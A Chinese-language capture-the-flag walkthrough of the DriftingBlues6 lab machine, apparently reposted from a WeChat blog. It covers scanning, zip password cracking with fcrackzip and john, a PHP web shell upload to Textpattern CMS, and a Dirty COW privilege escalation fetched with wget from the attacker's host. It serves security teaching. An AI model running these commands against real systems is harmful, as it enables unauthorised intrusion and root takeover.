driftingblues6

admin 2025年3月5日21:04:25评论9 views字数 2490阅读8分18秒阅读模式

攻击者IP:192.168.56.108 桥接 vmare

受害者ip:192.168.56.128 仅主机 vxbox

参考:https://www.freebuf.com/articles/system/373427.html

主机发现

driftingblues6

端口扫描

driftingblues6

端口服务探测

nmap -sT -sV -O -sC -p80 192.168.56.128 

driftingblues6

查看源代码

please hack vvmlist.github.io instead          he and their army always hacking us 

driftingblues6

扫描目录

dirb http://192.168.56.128

driftingblues6

http://192.168.56.128/db是一张图片,可能存在隐写

试了一下,没有隐写

driftingblues6

访问http://192.168.56.128/robots

textpattern/textpattern

得到了新的目录/textpattern/textpattern以及提示          说明目录扫描的时候需要添加后缀字典

driftingblues6

发现是一个登录界面,应该是标准的CMS          在登录界面可以尝试弱口令、漏洞攻击(需要知道版本最佳)、爆破等等

http://192.168.56.128/textpattern/textpattern/index.php

driftingblues6

访问http://192.168.56.128/textpattern/README

得知cms是,Textpattern CMS 4.8.3

driftingblues6

或者使用whatweb探测cms

whatweb 192.168.56.128/textpattern/textpattern

driftingblues6

cmseek -u http://192.168.56.128/

driftingblues6

框架漏洞需要账号和密码

driftingblues6

接着目录扫描

# 字典行数 20469(一般字典)cat /usr/share/wordlists/dirb/big.txt# 字典行数 220560(大字典)cat /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

-t 指定线程 -x 添加后缀扩展名 (根据网站脚本语言加后缀)

gobuster dir -u http://192.168.56.128:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .zip

找到spammer.zip

driftingblues6

找到spammer

dirsearch -u http://172.16.5.12/ -e php,zip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 

driftingblues6

需要密码,破解密码

zip -P 123456 passwd.zip ./*-P 123456 设置密码是123456passwd.zip 定义压缩文件名./* 压缩文件范围,当前目录下所有文件都被压缩 解压unzip,需要输入正确的压缩密码

得到密码,myspace4

fcrackzip -D -p /usr/share/wordlists/rockyou.txt spammer.zip

-D 表示要使用字典破解

-p 表示要使用那个字典破解

-b 表示使用暴利破解的方式          -c 'aA1' 表示使用大小写字母和数字混合破解的方式

-l 1-10 表示需要破解的密码长度为1到10位          -u 表示只显示破解出来的密码,其他错误的密码不显示出

注:Kali linux自带了一些字典在/usr/share/wordlists/文件夹下

driftingblues6

使用 zip2john 提取 hash 

zip2john +文件名 > pwd.txt          然后再使用          john pwd.txt 查看到密码

john hash.txt 命令表示使用 John the Ripper 工具尝试破解储存在 hash.txt 文件中的密码哈希值。字典破解:john --wordlist=mydic.txt hash.txt,这行命令会使用 mydic.txt 文件中的密码尝试破解 hash.txt 中的哈希。暴力破解:john --incremental hash.txt,这行命令将使用内置的字符集对 hash.txt 中的哈希进行暴力破解。查看破解结果:john --show hash.txt,这行命令会显示已经被破解的密码

driftingblues6

mayer:lionheart 

可能是web账号和密码

driftingblues6

漏洞利用

利用失败,有报错

driftingblues6

driftingblues6

只能手动上传了

driftingblues6

参考地址:https://blog.csdn.net/yun2diao/article/details/92765372

路径是view-source:http://192.168.56.128/textpattern/files/shell5.0.php

driftingblues6

反弹成功

python -c 'import pty; pty.spawn("/bin/bash")'

driftingblues6

脏牛提权

cat /etc/*-release确定发行版本

Debian 7发行版不太能overlayfs提权

driftingblues6

查看内核版本

linux 3.2.0

cat /proc/versionuname -a

driftingblues6

searchsploit linux 3.2.0

利用脏牛提权

driftingblues6

使用该脚本会建立一个 firefart 的特权账号 密码自输

driftingblues6

cp /usr/share/exploitdb/exploits/linux/local/40839.c /var/www/html 

# 目标机器到tmp目录下下载(有下载权限)cd /tmp# 下载wget http://192.168.45.157:81/40839.c# 给权限chmod +x 40839.c# 编译gcc -pthread 40839.c -o shell -lcrypt # 给权限chmod +x shell# 运行./shell需要在shell 里面写一个python交互python -c 'import pty; pty.spawn("/bin/sh")'

driftingblues6

获得root

Ctrl + Z, 或者 命令 & 可以让进程suspend# 显示后台命令jobs# 拉回前台, 要用%表示进程号fg %1

driftingblues6

获得flag

driftingblues6

原文始发于微信公众号(王之暴龙战神):driftingblues6

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月5日21:04:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   driftingblues6https://cn-sec.com/archives/3796791.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息